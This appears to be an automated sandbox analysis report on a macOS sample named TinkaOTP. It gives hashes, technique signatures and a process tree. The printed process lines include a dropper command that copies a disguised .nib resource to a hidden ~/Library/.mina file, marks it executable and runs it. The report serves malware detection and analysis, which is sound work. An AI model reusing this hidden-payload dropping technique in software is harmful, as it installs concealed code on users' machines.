Overview
overview
10Static
static
181f8f05267...kes118
macos-10.15-amd64
1TinkaOTP/T....dylib
macos-10.15-amd64
1TinkaOTP/T....dylib
macos-10.15-amd64
1TinkaOTP/T....dylib
macos-10.15-amd64
1TinkaOTP/T....dylib
macos-10.15-amd64
1TinkaOTP/T....dylib
macos-10.15-amd64
1TinkaOTP/T....dylib
macos-10.15-amd64
1TinkaOTP/T....dylib
macos-10.15-amd64
1TinkaOTP/T....dylib
macos-10.15-amd64
1TinkaOTP/T...nkaOTP
macos-10.15-amd64
10TinkaOTP/T...nu.nib
macos-10.15-amd64
4Analysis
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max time kernel
138s -
max time network
126s -
platform
macos-10.15_amd64 -
resource
macos-20240711.1-en -
resource tags
arch:amd64arch:i386image:macos-20240711.1-enkernel:19b77alocale:en-usos:macos-10.15-amd64system -
submitted
01-08-2024 22:26
Static task
static1
Behavioral task
behavioral1
Sample
81f8f0526740b55fe484c42126cd8396_JaffaCakes118
Resource
macos-20240711.1-en
Behavioral task
behavioral2
Sample
TinkaOTP/TinkaOTP.app/Contents/Frameworks/libswiftCore.dylib
Resource
macos-20240711.1-en
Behavioral task
behavioral3
Sample
TinkaOTP/TinkaOTP.app/Contents/Frameworks/libswiftCoreFoundation.dylib
Resource
macos-20240711.1-en
Behavioral task
behavioral4
Sample
TinkaOTP/TinkaOTP.app/Contents/Frameworks/libswiftCoreGraphics.dylib
Resource
macos-20240711.1-en
Behavioral task
behavioral5
Sample
TinkaOTP/TinkaOTP.app/Contents/Frameworks/libswiftDarwin.dylib
Resource
macos-20240711.1-en
Behavioral task
behavioral6
Sample
TinkaOTP/TinkaOTP.app/Contents/Frameworks/libswiftDispatch.dylib
Resource
macos-20240711.1-en
Behavioral task
behavioral7
Sample
TinkaOTP/TinkaOTP.app/Contents/Frameworks/libswiftFoundation.dylib
Resource
macos-20240711.1-en
Behavioral task
behavioral8
Sample
TinkaOTP/TinkaOTP.app/Contents/Frameworks/libswiftIOKit.dylib
Resource
macos-20240711.1-en
Behavioral task
behavioral9
Sample
TinkaOTP/TinkaOTP.app/Contents/Frameworks/libswiftObjectiveC.dylib
Resource
macos-20240711.1-en
Behavioral task
behavioral10
Sample
TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP
Resource
macos-20240711.1-en
Behavioral task
behavioral11
Sample
TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib
Resource
macos-20240711.1-en
General
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Target
TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP
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Size
700KB
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MD5
02670c82d74d0362a5fafdf3f42904ef
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SHA1
a909cdb57132b9a928467540e2031b0d25fed39d
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SHA256
90fbc26c65e4aa285a3f7ee6ff8a3a4318a8961ebca71d47f51ef0b4b7829fd0
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SHA512
21fb953e06ed088493424f68de0c2bc03f2f0844319281dacf47fa0e69e18d51c24154f8522e20bb758946239bb6923aaacdc5c250127b0bd6cf74363bea594a
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SSDEEP
12288:rNRvDxr7edSRIOaQlv5zOrBu4PBP6v8Dy6aB6LyjaMoa+6LyjaMY:hRv1raYwZP6uy
Malware Config
Signatures
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File Permission 1 TTPs
Adversaries may modify file permissions/attributes to evade access control lists (ACLs) and access protected files.
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Resource Forking 1 TTPs 1 IoCs
Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.
ioc Process cp /Users/run/TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib /Users/run/Library/.mina Process not Found -
Command and Scripting Interpreter 1 TTPs
Adversaries may abuse Unix shell commands and scripts for execution.
Processes
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/bin/shsh -c "sudo /bin/zsh -c \"/Users/run/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP\""1⤵PID:497
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/bin/bashsh -c "sudo /bin/zsh -c \"/Users/run/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP\""1⤵PID:497
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/usr/bin/sudosudo /bin/zsh -c /Users/run/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP1⤵PID:497
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/bin/zsh/bin/zsh -c /Users/run/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP2⤵PID:502
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/Users/run/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP/Users/run/TinkaOTP/TinkaOTP.app/Contents/MacOS/TinkaOTP2⤵PID:502
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/bin/bash/bin/bash -c "cp /Users/run/TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib ~/Library/.mina > /dev/null 2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev/null 2>&1"1⤵PID:510
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/bin/cpcp /Users/run/TinkaOTP/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib /Users/run/Library/.mina2⤵PID:512
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/bin/chmodchmod +x /Users/run/Library/.mina2⤵PID:513
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/Users/run/Library/.mina/Users/run/Library/.mina2⤵PID:514
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/usr/libexec/xpcproxyxpcproxy com.apple.ViewBridgeAuxiliary1⤵PID:515
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/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary/System/Library/PrivateFrameworks/ViewBridge.framework/Versions/A/XPCServices/ViewBridgeAuxiliary.xpc/Contents/MacOS/ViewBridgeAuxiliary1⤵PID:515
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/usr/libexec/xpcproxyxpcproxy com.apple.sysmond1⤵PID:522
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/usr/libexec/sysmond/usr/libexec/sysmond1⤵PID:522
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/usr/libexec/xpcproxyxpcproxy com.apple.audio.AudioComponentRegistrar1⤵PID:524
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/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon1⤵PID:524
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/usr/libexec/xpcproxyxpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E1⤵PID:537
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/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService1⤵PID:537
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/bin/launchctl/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveUpdaterDaemon1⤵PID:543
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/bin/launchctl/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveStandaloneUpdaterDaemon1⤵PID:544
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/usr/libexec/xpcproxyxpcproxy com.apple.newsyslog1⤵PID:551
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/usr/sbin/newsyslog/usr/sbin/newsyslog1⤵PID:551